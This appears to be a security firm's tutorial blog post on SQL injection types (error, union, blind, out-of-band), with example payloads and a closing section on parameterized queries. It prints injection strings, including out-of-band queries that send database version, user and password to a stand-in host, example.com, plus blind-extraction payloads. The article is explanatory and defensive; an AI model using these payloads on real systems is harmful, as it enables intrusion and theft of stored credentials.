Common and Uncommon types of SQL Injection

Reading Time: 8 Minutes

Introduction

In this article, we will explain SQL injection with some of the most common and uncommon types. Each type has its way to identify as we will discover while we show you some examples of how you can find various kinds of SQL injection. We will also explain how it can impact your company and your customers and show you what measures you need to take to mitigate and minimize such types of injection-based attacks.

We aim at writing this article covering it from an Offensive Security perspective based on our experience, so you can refer to it and learn more about how you can address them.

What is SQL Injection (SQLi)?

SQL Injection (SQLi) is a type of injection attack that makes it possible to execute malicious SQL statements. These statements control a database server behind a web application. Attackers can use SQL Injection vulnerabilities to bypass application security mechanisms. They can go around authentication and authorization of a web page or web application and retrieve the content of the entire SQL database. They can also use SQL Injection to add, modify, and delete records in the database. This leaves you and your clients really vulnerable in terms of privacy.

Image: SQL Diagram

Types of SQL Injection (SQLi)

We will now look into the most common and uncommon types of SQL injection.

Error-based SQLi:

Error-based SQLi is an in-band SQL Injection technique that relies on error messages thrown by the database server to obtain information about the structure of the database. In some cases, error-based SQL injection alone is enough for an attacker to enumerate an entire database. While errors are very useful during the development phase of a web application, they should be disabled on a live website or logged to a file with restricted access instead.

Union-based SQLi:

Union-based SQLi is an in-band SQL injection technique that leverages the UNION SQL operator to combine the results of two or more SELECT statements into a single result which is then returned as part of the HTTP response.

Inferential SQLi (Blind SQLi):

Inferential SQL Injection, unlike in-band SQLi, may take longer for an attacker to exploit, however, it is just as dangerous as any other form of SQL Injection. In an inferential SQLi attack, no data is actually transferred via the web application and the attacker would not be able to see the result of an attack in-band (which is why such attacks are commonly referred to as “blind SQL Injection attacks”). Instead, an attacker is able to reconstruct the database structure by sending payloads, observing the web application’s response and the resulting behavior of the database server.

The two types of inferential SQL Injection are Blind-boolean-based SQLi and Blind-time-based SQLi.

Boolean-based (content-based) Blind SQLi:

Boolean-based SQL Injection is an inferential SQL Injection technique that relies on sending an SQL query to the database which forces the application to return a different result depending on whether the query returns a TRUE or FALSE result.

Depending on the result, the content within the HTTP response will change, or remain the same. This allows an attacker to infer if the payload used returned true or false, even though no data from the database is returned. This attack is typically slow (especially on large databases) since an attacker would need to enumerate a database, character by character.

Time-based Blind SQLi:

Time-based SQL Injection is an inferential SQL Injection technique that relies on sending an SQL query to the database which forces the database to wait for a specified amount of time (in seconds) before responding. The response time will indicate to the attacker whether the result of the query is TRUE or FALSE.

Depending on the result, an HTTP response will be returned with a delay, or returned immediately. This allows an attacker to infer if the payload used returned true or false, even though no data from the database is returned. Moreover, this attack is typically slow (especially on large databases) because the attacker must enumerate each character individually.

Out-of-band SQLi:

Out-of-band SQL Injection is not very common, mostly because it depends on features being enabled on the database server being used by the web application. Out-of-band SQL Injection occurs when an attacker is unable to use the same channel to launch the attack and gather results.

Out-of-band techniques offer an attacker an alternative to inferential time-based techniques, especially if the server responses are not very stable (making an inferential time-based attack unreliable).

Out-of-band SQLi techniques would rely on the database server’s ability to make DNS or HTTP requests to deliver data to an attacker. Such is the case with Microsoft SQL Server’s xp_dirtree command, which can be used to make DNS requests to a server an attacker controls; as well as Oracle Database’s UTL_HTTP package, which can be used to send HTTP requests from SQL and PL/SQL to a server an attacker controls.

We will now take a look at various methods and techniques for performing SQL Injection:

Methods of SQL injection

Example of out-of-band SQL injection

If the MySQL database server is started with an empty secure_file_priv global system variable, which is the case by default for MySQL server 5.5.52 and below (and in the MariaDB fork), an attacker can exfiltrate data and then use the load_file function to create a request to a domain name, putting the exfiltrated data in the request.Let’s say the attacker is able to execute the following SQL query in the target database:

SELECT load_file(CONCAT('\\\\',(SELECT+@@version),'.',(SELECT+user),'.', (SELECT+password),'.',example.com\\test.txt'))

This will cause the application to send a DNS request to the domain database_version.database_user.database_password.example.com, exposing sensitive data (database version, user name, and the user’s password) to the attacker.

Example of out-of-band SQL injection in PostgreSQL

The following SQL query achieves the same result as above if the application is using a PostgreSQL database:

The culprit, in this case, is the COPY function in PostgreSQL, which is intended to move data between a file and a table. Here, it allows the attacker to include a remote file as the copy source.

Example of out-of-band SQL injection in Oracle

The following SQL query achieves the same result as above if the application is using an Oracle database:

SELECT DBMS_LDAP.INIT(

   (SELECT version FROM v$instance)||'.'||

   (SELECT user FROM dual)||'.'||

   (SELECT name FROM V$database)||'.'||example.com' ,80) FROM dual;

In this case, OOB SQLi is possible thanks to the init() function from the DBMS_LDAP PL/SQL package, which initializes a connection to an LDAP server.

However, this is not the only Oracle package that can be used for making a request to a remote endpoint. You can also, for example, use the REQUEST function from the UTL_HTTP package.

Example of out-of-band SQL injection in MS SQL

The following SQL query achieves the same result as above (but without the password) if the application is using an MS SQL database:

DECLARE @a varchar(1024);

DECLARE @b varchar(1024);

SELECT @a = (SELECT system_user);

SELECT @b = (SELECT DB_Name());

EXEC('master..xp_dirtree"\\'+@a+''+'.'+''+@b+'example.com\test$"');

This OOB SQLi is possible thanks to the xp_dirtree stored procedure. While originally intended for listing a local directory tree, it can be tricked into causing a DNS lookup.

Example of boolean-based blind SQL injection

As an example, let’s assume that the following query is meant to display details of a product from the database.

SELECT * FROM products WHERE id = product_id

At first, a malicious hacker uses the application in a legitimate way to discover at least one existing product ID – in this example, it’s product 42. Then, they can provide the following two values for product_id:

42 AND 1=1

42 AND 1=0

If this query is executed in the application using simple string concatenation, the query becomes respectively:

SELECT * FROM products WHERE id = 42 and 1=1

SELECT * FROM products WHERE id = 42 and 1=0

If the application behaves differently in each case, it is susceptible to boolean-based blind SQL injections.

If the database server is Microsoft SQL Server, the attacker can now supply the following value for product_id:

42 AND (SELECT TOP 1 substring(name, 1, 1)

   FROM sysobjects

   WHERE id=(SELECT TOP 1 id

        FROM (SELECT TOP 1 id

           FROM sysobjects

           ORDER BY id)

      AS subq

      ORDER BY id DESC)) = 'a'

As a result, the sub-query in parentheses after 42 AND checks whether the name of the first table in the database starts with the letter a. If true, the application will behave the same as for the payload 42 AND 1=1. If false, the application will behave the same as for the payload 42 AND 1=0.

The attacker can iterate through all letters and then go on to the second letter, third letter, etc. As a result, the attacker can discover the full name of the first table in the database structure. They can then try to get more data about the structure of this table and finally – extract data from the table. While this example is specific to MS SQL, similar techniques exist for other database types.

Example of time-based blind SQL injection

Let’s say we have the same query as in the example above:

SELECT * FROM products WHERE id = product_id

A malicious hacker may provide the following product_id value:

42; WAITFOR DELAY '0:0:10'

As a result, the query becomes:

SELECT * FROM products WHERE id = 1; WAITFOR DELAY '0:0:10'

If the database server is Microsoft SQL Server and the application is susceptible to time-based blind SQL injections, the attacker will see a 10-second delay in the application.

Now that the attacker knows that time-based blind SQL injections are possible, they can provide the following product_id:

42; IF(EXISTS(SELECT TOP 1 *

   FROM sysobjects

   WHERE id=(SELECT TOP 1 id

       FROM (SELECT TOP 1 id

          FROM sysobjects

         ORDER BY id)

      AS subq

      ORDER BY id DESC)

   AND ascii(lower(substring(name, 1, 1))) = 'a'))

   WAITFOR DELAY '0:0:10'

If the name of the first table in the database structure begins with the letter a, the second part of this query will be true, and the application will react with a 10-second delay. Just like for boolean-based blind SQL injections above, the attacker can use this method repeatedly to discover the name of the first table in the database structure, then try to get more data about the table structure of this table and finally extract data from the table.

Example of in-band SQL injection

The simplest type of in-band SQL injection is when the attacker is able to modify the original query and receive the direct results of the modified query. As an example, let’s assume that the following query is meant to return the personal data of the current user and display it on-screen.

SELECT * FROM users WHERE user_id LIKE 'current_user'

If this query is executed in the application using simple string concatenation, a malicious hacker can provide the following current_user:

%'--

As a result, the query string sent to the database will become:

SELECT * FROM users WHERE user_id LIKE '%'--'

The single quote completes the SQL statement and the double dash (–) means that the rest of the line is treated as a comment. Therefore, the application executes the following query:

SELECT * FROM users WHERE user_id LIKE '%'

The percent sign in SQL is a wildcard, so as a result of the attack, the application will display the content of the entire users table (personal data), not just a single user record.

Example of error-based SQL injection

Let’s say we have the same query as in the example above:

SELECT * FROM users WHERE user_id = 'current_user'

A malicious hacker may provide the following current_user value:

1'

As a result, the query becomes:

SELECT * FROM users WHERE user_id = '1''

The doubled single quote at the end of the query causes the database to report an error. If the web server is configured to display errors on screen, the attacker may see a message such as the following:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near “‘ at line 1
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/query.php on line 37

As a result, the attacker immediately sees that the application is using a MySQL database and can focus on MySQL-specific attacks.

Example of union-based SQL injection

Let’s say we have the same query as in the example above:

SELECT * FROM users WHERE user_id = 'current_user'

A malicious hacker may provide the following current_user:

-1' UNION SELECT version(),current_user()--'

As a result, the query becomes:

SELECT * FROM users WHERE user_id = '-1' UNION SELECT version(),current_user()--'

The version and current_user functions in MySQL return the database version and the name of the current operating system user. As a result, the attacker receives the following information:

5.1.73-0ubuntu0.10.04.1

mysql@localhost

The attacker immediately sees that the application is using a MySQL 5.1.73 database on the operating system Ubuntu 10.04.1 and that the database is accessed using the operating system user account mysql.

How can SQL Injection impact your customers?

With no mitigating controls, SQL injection can leave the application at a high risk of the compromise resulting in an impact on the confidentiality, and integrity of data as well as authentication and authorization aspects of the application. An adversary can steal sensitive information stored in databases used by vulnerable programs or applications such as user credentials, trade secrets, or transaction records. SQL injection vulnerabilities should never be left open; they must be fixed in all circumstances. If the authentication or authorization aspects of an application are affected an attacker may be able login as any other user, such as an administrator which elevates their privileges.

How to prevent SQL injection?

Most instances of SQL injection can be prevented by using parameterized queries (also known as prepared statements) instead of string concatenation within the query.

The following code is vulnerable to SQL injection because the user input is concatenated directly into the query:

String query = "SELECT * FROM products WHERE category = '"+ input + "'";

Statement statement = connection.createStatement();

ResultSet resultSet = statement.executeQuery(query);

This code can be easily rewritten in a way that prevents the user input from interfering with the query structure:

PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");

statement.setString(1, input);

ResultSet resultSet = statement.executeQuery();

Closing Thoughts

Parameterized queries can be used for any situation where untrusted input appears as data within the query, including the WHERE clause and values in an INSERT or UPDATE statement. They can’t be used to handle untrusted input in other parts of the query, such as table or column names, or the ORDER BY clause. Application functionality that places untrusted data into those parts of the query will need to take a different approach, such as white-listing permitted input values, or using different logic to deliver the required behavior.

For a parameterized query to be effective in preventing SQL injection, the string that is used in the query must always be a hard-coded constant, and must never contain any variable data from any origin. Do not be tempted to decide case-by-case whether an item of data is trusted, and continue using string concatenation within the query for cases considered safe. It is all too easy to make mistakes about the possible origin of data, or for changes in other code to violate assumptions about what data is tainted.

We hope that this write up has taught you something new. If you enjoyed it, the best way that you can support us is to share it! If you’d like to hear more about us, you can find us on LinkedIn, Twitter, YouTube.

 

Are you a security researcher? Or a company that writes articles about Cyber Security, Offensive Security (related to Information Security in general) that match with our specific audience and is worth sharing? If you want to express your idea in an article contact us here for a quote: [email protected]